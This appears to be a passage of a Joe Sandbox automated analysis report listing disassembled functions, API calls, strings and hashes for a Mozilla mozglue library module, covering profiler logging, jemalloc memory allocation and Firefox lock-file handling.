GetSystemInfo.KERNEL32 ref: 6C53AC98
MapViewOfFile.KERNEL32 ref: 6C53ACB0
GetSystemInfo.KERNEL32 ref: 6C53ACCD
MapViewOfFile.KERNEL32 ref: 6C53AD05
UnmapViewOfFile.KERNEL32 ref: 6C53AD1C
CloseHandle.KERNEL32 ref: 6C53AD28
UnmapViewOfFile.KERNEL32 ref: 6C53AD37
CloseHandle.KERNEL32 ref: 6C53AD43
CloseHandle.KERNEL32 ref: 6C53AD67

Memory Dump Source

Source File: 00000000.00000002.2618484951.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2618465277.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2618534099.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2618593883.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2618781596.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: File$View$CloseHandle$CreateInfoSystemUnmap$Mapping
String ID:
API String ID: 1192971331-0
Opcode ID: 1e58d4e6346bc806b9a37e5746de0b1fefaf0cd5a2d67b7fc2521e1a9f451bb0
Instruction ID: 96a762c3a6b7635d80850f5bfa6f412484ec1282346e86813fa23670db7ce617
Opcode Fuzzy Hash: 1e58d4e6346bc806b9a37e5746de0b1fefaf0cd5a2d67b7fc2521e1a9f451bb0
Instruction Fuzzy Hash: 853144B1A047048FDB00FFB8D94C65EBBF0BF85305F46492DE98997251EB709458CB86

Function 6C4E9620 Relevance: 15.9, APIs: 6, Strings: 3, Instructions: 103libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(Api-ms-win-core-memory-l1-1-5.dll), ref: 6C4E9675
__Init_thread_footer.LIBCMT ref: 6C4E9697
LoadLibraryW.KERNEL32(ntdll.dll), ref: 6C4E96E8
GetProcAddress.KERNEL32(00000000,NtMapViewOfSection), ref: 6C4E9707
__Init_thread_footer.LIBCMT ref: 6C4E971F
SetLastError.KERNEL32(00000000,?,?,00000002,?,?), ref: 6C4E9773

Part of subcall function 6C50AB89: EnterCriticalSection.KERNEL32(6C55E370,?,?,?,6C4D34DE,6C55F6CC,?,?,?,?,?,?,?,6C4D3284), ref: 6C50AB94
Part of subcall function 6C50AB89: LeaveCriticalSection.KERNEL32(6C55E370,?,6C4D34DE,6C55F6CC,?,?,?,?,?,?,?,6C4D3284,?,?,6C4F56F6), ref: 6C50ABD1

GetProcAddress.KERNEL32(00000000,MapViewOfFileNuma2), ref: 6C4E97B7
FreeLibrary.KERNEL32 ref: 6C4E97D0
FreeLibrary.KERNEL32 ref: 6C4E97EB
SetLastError.KERNEL32(00000000,?,?,00000002,?,?), ref: 6C4E9824

Strings

Api-ms-win-core-memory-l1-1-5.dll, xrefs: 6C4E9670
NtMapViewOfSection, xrefs: 6C4E9701
MapViewOfFileNuma2, xrefs: 6C4E97B1
ntdll.dll, xrefs: 6C4E96E3

Memory Dump Source

Source File: 00000000.00000002.2618484951.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2618465277.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2618534099.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2618593883.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2618781596.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: Library$AddressCriticalErrorFreeInit_thread_footerLastLoadProcSection$EnterLeave
String ID: Api-ms-win-core-memory-l1-1-5.dll$MapViewOfFileNuma2$NtMapViewOfSection$ntdll.dll
API String ID: 409848716-3880535382
Opcode ID: 25565e0f02e5ae32d316c4b5fa2248836ecf079e0956c768f4dcf9f7ecea0fbf
Instruction ID: f25ef42ea2984c29d891bc9868870e02fe7f54732de65fb7ef7fb8c467e77843
Opcode Fuzzy Hash: 25565e0f02e5ae32d316c4b5fa2248836ecf079e0956c768f4dcf9f7ecea0fbf
Instruction Fuzzy Hash: 0B4191B1B10205DFDF00DFA5DC84E9A77B4FB49316F924229ED1697780D731A818CBA5

Function 6C520000 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 127threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6C519420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C4E4A68), ref: 6C51945E
Part of subcall function 6C519420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C519470
Part of subcall function 6C519420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C519482
Part of subcall function 6C519420: __Init_thread_footer.LIBCMT ref: 6C51949F

GetCurrentThreadId.KERNEL32 ref: 6C520039
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C520041
GetCurrentThreadId.KERNEL32 ref: 6C520075
AcquireSRWLockExclusive.KERNEL32(6C55F4B8), ref: 6C520082
moz_xmalloc.MOZGLUE(00000048), ref: 6C520090
free.MOZGLUE(?), ref: 6C520104
ReleaseSRWLockExclusive.KERNEL32(6C55F4B8), ref: 6C52011B

Strings

[D %d/%d] profiler_register_page(%llu, %llu, %s, %llu), xrefs: 6C52005B

Memory Dump Source

Source File: 00000000.00000002.2618484951.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2618465277.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2618534099.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2618593883.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2618781596.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: getenv$CurrentExclusiveLockThread$AcquireInit_thread_footerRelease_getpidfreemoz_xmalloc
String ID: [D %d/%d] profiler_register_page(%llu, %llu, %s, %llu)
API String ID: 3012294017-637075127
Opcode ID: 7152c6e9376a7c8ed7b1eb0e7f3a8c309ec78aeca1de729a4fa2e488f3b3777f
Instruction ID: 16ba300285b9a2ebbc1a860a3f81da1aeb88c992c9ab822fd0fca604534d1208
Opcode Fuzzy Hash: 7152c6e9376a7c8ed7b1eb0e7f3a8c309ec78aeca1de729a4fa2e488f3b3777f
Instruction Fuzzy Hash: 40419CB5A01244DFCB10DF24CC44A9ABBF1FF89318F814A1EED5A93B80D731A819CB95

Function 6C4E7E90 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 116stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C4E7EA7
malloc.MOZGLUE(00000001), ref: 6C4E7EB3

Part of subcall function 6C4ECAB0: EnterCriticalSection.KERNEL32(?), ref: 6C4ECB49
Part of subcall function 6C4ECAB0: LeaveCriticalSection.KERNEL32(?), ref: 6C4ECBB6

strncpy.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,00000000), ref: 6C4E7EC4
mozalloc_abort.MOZGLUE(?), ref: 6C4E7F19
malloc.MOZGLUE(?), ref: 6C4E7F36
memcpy.VCRUNTIME140(00000000,?,?), ref: 6C4E7F4D

Strings

d, xrefs: 6C4E7F89

Memory Dump Source

Source File: 00000000.00000002.2618484951.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2618465277.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2618534099.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2618593883.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2618781596.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: CriticalSectionmalloc$EnterLeavememcpymozalloc_abortstrlenstrncpy
String ID: d
API String ID: 204725295-2564639436
Opcode ID: 79a81e9a36a27e75c88c031d33819dfc74f87da04f9b3f24d68eea904f0fc76c
Instruction ID: 9e70de391897d7a5d0a4a227d810664c63ff356b20a0fa48f6c026394159ac23
Opcode Fuzzy Hash: 79a81e9a36a27e75c88c031d33819dfc74f87da04f9b3f24d68eea904f0fc76c
Instruction Fuzzy Hash: 9031D871E0434897DB01DB68CC449FEB778EF95318F469629EC4997612FB31A9C8C394

Function 6C4E3E80 Relevance: 13.7, APIs: 9, Instructions: 246memoryCOMMON

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(?,00000000,?,?,?,?,?,?,6C4E3CCC), ref: 6C4E3EEE
RtlFreeHeap.NTDLL(?,00000000,?), ref: 6C4E3FDC
RtlAllocateHeap.NTDLL(?,00000000,00000040,?,?,?,?,?,6C4E3CCC), ref: 6C4E4006
RtlFreeHeap.NTDLL(?,00000000,?), ref: 6C4E40A1
RtlFreeUnicodeString.NTDLL(?,?,00000000,?,?,00000000,?,?,?,?,?,?,6C4E3CCC), ref: 6C4E40AF
RtlFreeUnicodeString.NTDLL(?,?,00000000,?,?,00000000,?,?,?,?,?,?,6C4E3CCC), ref: 6C4E40C2
RtlFreeHeap.NTDLL(?,00000000,?), ref: 6C4E4134
RtlFreeUnicodeString.NTDLL(?,?,00000000,?,?,00000000,00000040,?,?,?,?,?,6C4E3CCC), ref: 6C4E4143
RtlFreeUnicodeString.NTDLL(?,?,?,00000000,?,?,00000000,00000040,?,?,?,?,?,6C4E3CCC), ref: 6C4E4157

Memory Dump Source

Source File: 00000000.00000002.2618484951.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2618465277.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2618534099.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2618593883.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2618781596.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: Free$Heap$StringUnicode$Allocate
String ID:
API String ID: 3680524765-0
Opcode ID: b13ab191b94d3bc336a0173e00329c51f753acdad4a2e35824d3aa2c58c5bb22
Instruction ID: 0ec1e20bfe1ad3e5a38f23f896255c5681ad1bb4c8bee250976c80150a410b7d
Opcode Fuzzy Hash: b13ab191b94d3bc336a0173e00329c51f753acdad4a2e35824d3aa2c58c5bb22
Instruction Fuzzy Hash: 09A19FB1A00205CFDB41CF68C880F59B7B5BF8C349F2651A9D909AF752D771E886CBA0

Function 6C529D00 Relevance: 13.7, APIs: 9, Instructions: 178timeCOMMON

Download Yara Rule

APIs

??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,6C528273), ref: 6C529D65
free.MOZGLUE(6C528273,?), ref: 6C529D7C
free.MOZGLUE(?,?), ref: 6C529D92
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?), ref: 6C529E0F
free.MOZGLUE(6C52946B,?,?), ref: 6C529E24
free.MOZGLUE(?,?,?), ref: 6C529E3A
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?,?), ref: 6C529EC8
free.MOZGLUE(6C52946B,?,?,?), ref: 6C529EDF
free.MOZGLUE(?,?,?,?), ref: 6C529EF5

Memory Dump Source

Source File: 00000000.00000002.2618484951.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2618465277.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2618534099.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2618593883.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2618781596.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: free$StampTimeV01@@Value@mozilla@@
String ID:
API String ID: 956590011-0
Opcode ID: 7e21618cfad32fc0d578b5547834079da2b84dd083ce4f86adaf3bdc31666ff2
Instruction ID: 4840b7eec325057a650773039e5599e43f1bf5562b26bcf31a47683eeefee944
Opcode Fuzzy Hash: 7e21618cfad32fc0d578b5547834079da2b84dd083ce4f86adaf3bdc31666ff2
Instruction Fuzzy Hash: A07180B0909B418BD712CF18C88095BF7F5FF99325B44961DE89A5BB41EB34E885CBC1

Function 6C52DDC0 Relevance: 13.7, APIs: 9, Instructions: 152COMMON

Download Yara Rule

APIs

?profiler_get_core_buffer@baseprofiler@mozilla@@YAAAVProfileChunkedBuffer@2@XZ.MOZGLUE ref: 6C52DDCF

Part of subcall function 6C50FA00: ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C50FA4B

Part of subcall function 6C5290E0: free.MOZGLUE(?,00000000,?,?,6C52DEDB), ref: 6C5290FF
Part of subcall function 6C5290E0: free.MOZGLUE(?,00000000,?,?,6C52DEDB), ref: 6C529108

free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C52DE0D
free.MOZGLUE(00000000), ref: 6C52DE41
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C52DE5F
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C52DEA3
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C52DEE9
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,6C51DEFD,?,6C4E4A68), ref: 6C52DF32

Part of subcall function 6C52DAE0: ??1MutexImpl@detail@mozilla@@QAE@XZ.MOZGLUE ref: 6C52DB86
Part of subcall function 6C52DAE0: ??1MutexImpl@detail@mozilla@@QAE@XZ.MOZGLUE ref: 6C52DC0E

free.API-MS-WIN-CRT-HEAP-L1-1-0(?,6C51DEFD,?,6C4E4A68), ref: 6C52DF65
free.MOZGLUE(?), ref: 6C52DF80

Part of subcall function 6C4F5E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6C4F5EDB
Part of subcall function 6C4F5E90: memset.VCRUNTIME140(ewSl,000000E5,?), ref: 6C4F5F27
Part of subcall function 6C4F5E90: LeaveCriticalSection.KERNEL32(?), ref: 6C4F5FB2

Memory Dump Source

Source File: 00000000.00000002.2618484951.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2618465277.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2618534099.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2618593883.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2618781596.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: free$CriticalImpl@detail@mozilla@@MutexSection$?profiler_get_core_buffer@baseprofiler@mozilla@@Buffer@2@ChunkedEnterExclusiveLeaveLockProfileReleasememset
String ID:
API String ID: 112305417-0
Opcode ID: 89a40cecd33e464e93111b287557d4e2e3403a3d2258d283cf1e62eeeacad5c7
Instruction ID: 4c49798dfbd4e7fc538480e9b9cd31625e4cbc36a712a0b41057e8afac0b43ff
Opcode Fuzzy Hash: 89a40cecd33e464e93111b287557d4e2e3403a3d2258d283cf1e62eeeacad5c7
Instruction Fuzzy Hash: 1A51C5726016009BD721DB28CC806AEB3F6BFD5318F96051CD85A53B90D739F91ACBD6

Function 6C535D10 Relevance: 13.6, APIs: 9, Instructions: 126COMMON

Download Yara Rule

APIs

?_Fiopen@std@@YAPAU_iobuf@@PB_WHH@Z.MSVCP140(?,00000001,00000040,?,00000000,?,6C535C8C,?,6C50E829), ref: 6C535D32
?getloc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QBE?AVlocale@2@XZ.MSVCP140(?,00000000,00000001,?,?,?,?,00000000,?,6C535C8C,?,6C50E829), ref: 6C535D62
??0_Lockit@std@@QAE@H@Z.MSVCP140(00000000,?,?,?,?,00000000,?,6C535C8C,?,6C50E829), ref: 6C535D6D
??Bid@locale@std@@QAEIXZ.MSVCP140(?,?,?,?,00000000,?,6C535C8C,?,6C50E829), ref: 6C535D84
?_Getgloballocale@locale@std@@CAPAV_Locimp@12@XZ.MSVCP140(?,?,?,?,00000000,?,6C535C8C,?,6C50E829), ref: 6C535DA4
?_Getcat@?$codecvt@DDU_Mbstatet@@@std@@SAIPAPBVfacet@locale@2@PBV42@@Z.MSVCP140(?,?,?,?,?,?,00000000,?,6C535C8C,?,6C50E829), ref: 6C535DC9
std::_Facet_Register.LIBCPMT ref: 6C535DDB
??1_Lockit@std@@QAE@XZ.MSVCP140(?,?,?,?,00000000,?,6C535C8C,?,6C50E829), ref: 6C535E00
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,?,00000000,?,6C535C8C,?,6C50E829), ref: 6C535E45

Memory Dump Source

Source File: 00000000.00000002.2618484951.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2618465277.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2618534099.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2618593883.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2618781596.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: Lockit@std@@$??0_??1_?getloc@?$basic_streambuf@Bid@locale@std@@D@std@@@std@@Facet_Fiopen@std@@Getcat@?$codecvt@Getgloballocale@locale@std@@Locimp@12@Mbstatet@@@std@@RegisterU?$char_traits@U_iobuf@@V42@@Vfacet@locale@2@Vlocale@2@abortstd::_
String ID:
API String ID: 2325513730-0
Opcode ID: 41a85583aa7377945acbec06b8d841a3764af2d31126c57a0ccf06136dd95528
Instruction ID: c2e9d66c7664e757c26c9a7ae4a40edfb6a1e0f7dd50b8b1ea0aa2aabe4a4484
Opcode Fuzzy Hash: 41a85583aa7377945acbec06b8d841a3764af2d31126c57a0ccf06136dd95528
Instruction Fuzzy Hash: B641AE307002148FCB00EFA9CC88AAE77B5EF89314F855469E50A9B791EB34ED05CB65

Function 6C50CC60 Relevance: 13.6, APIs: 7, Strings: 2, Instructions: 104memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(00000000,00003000,00003000,00000004,?,?,?,6C4D31A7), ref: 6C50CDDD

Strings

<jemalloc>, xrefs: 6C50CF9F, 6C50CFB3
: (malloc) Error in VirtualFree(), xrefs: 6C50CFA4, 6C50CFB8

Memory Dump Source

Source File: 00000000.00000002.2618484951.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2618465277.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2618534099.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2618593883.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2618781596.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: AllocVirtual
String ID: : (malloc) Error in VirtualFree()$<jemalloc>
API String ID: 4275171209-2186867486
Opcode ID: 563d09e6d501a985a709c07fdb5f1c9108d5d0829e6abca2f1cf65bc561a9e88
Instruction ID: bdf98bc23b7036e1ce9493a52bbdfc81020d7f9e8ef2ee296cd1bea1899adbb8
Opcode Fuzzy Hash: 563d09e6d501a985a709c07fdb5f1c9108d5d0829e6abca2f1cf65bc561a9e88
Instruction Fuzzy Hash: A231B4707402055BEF11BEA58C45BAE7BB5AF82718F714519F611EBA80DB70F400CBB6

Function 6C4DECD0 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 143fileCOMMON

Download Yara Rule

APIs

Part of subcall function 6C4DF100: LoadLibraryW.KERNEL32(shell32,?,6C54D020), ref: 6C4DF122
Part of subcall function 6C4DF100: GetProcAddress.KERNEL32(00000000,SHGetKnownFolderPath), ref: 6C4DF132

moz_xmalloc.MOZGLUE(00000012), ref: 6C4DED50
wcslen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C4DEDAC
wcslen.API-MS-WIN-CRT-STRING-L1-1-0(00000000,\Mozilla\Firefox\SkeletonUILock-,00000020,?,00000000), ref: 6C4DEDCC
CreateFileW.KERNEL32 ref: 6C4DEE08
free.MOZGLUE(00000000), ref: 6C4DEE27
free.MOZGLUE(?,?,?,?,?,?,?,00000000,00000000,00000000), ref: 6C4DEE32

Part of subcall function 6C4DEB90: moz_xmalloc.MOZGLUE(00000104), ref: 6C4DEBB5
Part of subcall function 6C4DEB90: memset.VCRUNTIME140(00000000,00000000,00000104,?,?,6C50D7F3), ref: 6C4DEBC3
Part of subcall function 6C4DEB90: GetModuleFileNameW.KERNEL32(00000000,00000000,00000104,?,?,?,?,?,?,6C50D7F3), ref: 6C4DEBD6

Strings

\Mozilla\Firefox\SkeletonUILock-, xrefs: 6C4DEDC1

Memory Dump Source

Source File: 00000000.00000002.2618484951.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2618465277.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2618534099.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2618593883.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2618781596.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: Filefreemoz_xmallocwcslen$AddressCreateLibraryLoadModuleNameProcmemset
String ID: \Mozilla\Firefox\SkeletonUILock-
API String ID: 1980384892-344433685
Opcode ID: d697ab5230745a9459d99636536c2fe5dbee8f92bc6926a79df30218a2436e87
Instruction ID: 43eec158095b96cf7f8926302b25dc59d230676e3bacc979cb5fb84344dd10ce
Opcode Fuzzy Hash: d697ab5230745a9459d99636536c2fe5dbee8f92bc6926a79df30218a2436e87
Instruction Fuzzy Hash: 5F51BE71D052058BDB01EF68C890EEEF7B1AF59318F46852DE8556B740EB30B949C7E2

Function 6C54A520 Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 117COMMON

Download Yara Rule

APIs

?HandleSpecialValues@DoubleToStringConverter@double_conversion@@ABE_NNPAVStringBuilder@2@@Z.MOZGLUE ref: 6C54A565

Part of subcall function 6C54A470: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C54A4BE
Part of subcall function 6C54A470: memcpy.VCRUNTIME140(?,?,00000000), ref: 6C54A4D6

?CreateExponentialRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHPAVStringBuilder@2@@Z.MOZGLUE ref: 6C54A65B
?DoubleToAscii@DoubleToStringConverter@double_conversion@@SAXNW4DtoaMode@12@HPADHPA_NPAH3@Z.MOZGLUE ref: 6C54A6B6

Strings

0, xrefs: 6C54A5FB
z, xrefs: 6C54A6AE

Memory Dump Source

Source File: 00000000.00000002.2618484951.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2618465277.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2618534099.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2618593883.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2618781596.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: String$Double$Converter@double_conversion@@$Builder@2@@$Ascii@CreateDtoaExponentialHandleMode@12@Representation@SpecialValues@memcpystrlen
String ID: 0$z
API String ID: 310210123-2584888582
Opcode ID: 9374bc301413b9adc6d19e96f967846c9cbccf54ed49701e6e17568e82fe8dc1
Instruction ID: a22cfca7e0ec4809c0bcded96d63afa0a00d75b452c2d2d3adea9534b530caf2
Opcode Fuzzy Hash: 9374bc301413b9adc6d19e96f967846c9cbccf54ed49701e6e17568e82fe8dc1
Instruction Fuzzy Hash: C94128759087459FC781DF28C480A9FBBE5BFC9354F508A2EF49987650EB30E549CB82

Function 6C519420 Relevance: 12.3, APIs: 4, Strings: 3, Instructions: 45COMMON

Download Yara Rule

APIs

Part of subcall function 6C50AB89: EnterCriticalSection.KERNEL32(6C55E370,?,?,?,6C4D34DE,6C55F6CC,?,?,?,?,?,?,?,6C4D3284), ref: 6C50AB94
Part of subcall function 6C50AB89: LeaveCriticalSection.KERNEL32(6C55E370,?,6C4D34DE,6C55F6CC,?,?,?,?,?,?,?,6C4D3284,?,?,6C4F56F6), ref: 6C50ABD1

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C4E4A68), ref: 6C51945E
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C519470
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C519482
__Init_thread_footer.LIBCMT ref: 6C51949F

Strings

MOZ_BASE_PROFILER_DEBUG_LOGGING, xrefs: 6C51946B
MOZ_BASE_PROFILER_VERBOSE_LOGGING, xrefs: 6C519459
MOZ_BASE_PROFILER_LOGGING, xrefs: 6C51947D

Memory Dump Source

Source File: 00000000.00000002.2618484951.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2618465277.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2618534099.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2618593883.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2618781596.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: getenv$CriticalSection$EnterInit_thread_footerLeave
String ID: MOZ_BASE_PROFILER_DEBUG_LOGGING$MOZ_BASE_PROFILER_LOGGING$MOZ_BASE_PROFILER_VERBOSE_LOGGING
API String ID: 4042361484-1628757462
Opcode ID: 1baa0e977298eaa6b9b22d2c9bee214a6e47408928c8f5fcbaf62b61ea02219c
Instruction ID: 1f048b8e297d4584bead40d8e529396be2c55c97babd6f4513f76065092be8d0
Opcode Fuzzy Hash: 1baa0e977298eaa6b9b22d2c9bee214a6e47408928c8f5fcbaf62b61ea02219c
Instruction Fuzzy Hash: F001D470A04101CBE700DBADDC19A5E33B5AB4A32DF460A37ED0B86F51E761E864899F

Function 6C520F40 Relevance: 12.2, APIs: 8, Instructions: 171threadtimeCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C520F6B
?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C520F88
GetCurrentThreadId.KERNEL32 ref: 6C520FF7
InitializeConditionVariable.KERNEL32(?), ref: 6C521067
?profiler_capture_backtrace_into@baseprofiler@mozilla@@YA_NAAVProfileChunkedBuffer@2@W4StackCaptureOptions@2@@Z.MOZGLUE(?,?,?), ref: 6C5210A7
?profiler_capture_backtrace_into@baseprofiler@mozilla@@YA_NAAVProfileChunkedBuffer@2@W4StackCaptureOptions@2@@Z.MOZGLUE(00000000,?), ref: 6C52114B

Part of subcall function 6C518AC0: ?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001,?,?,?,?,?,?,?,?,?,?,?,6C531563), ref: 6C518BD5

free.MOZGLUE(?), ref: 6C521174
free.MOZGLUE(?), ref: 6C521186

Memory Dump Source

Source File: 00000000.00000002.2618484951.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2618465277.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2618534099.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
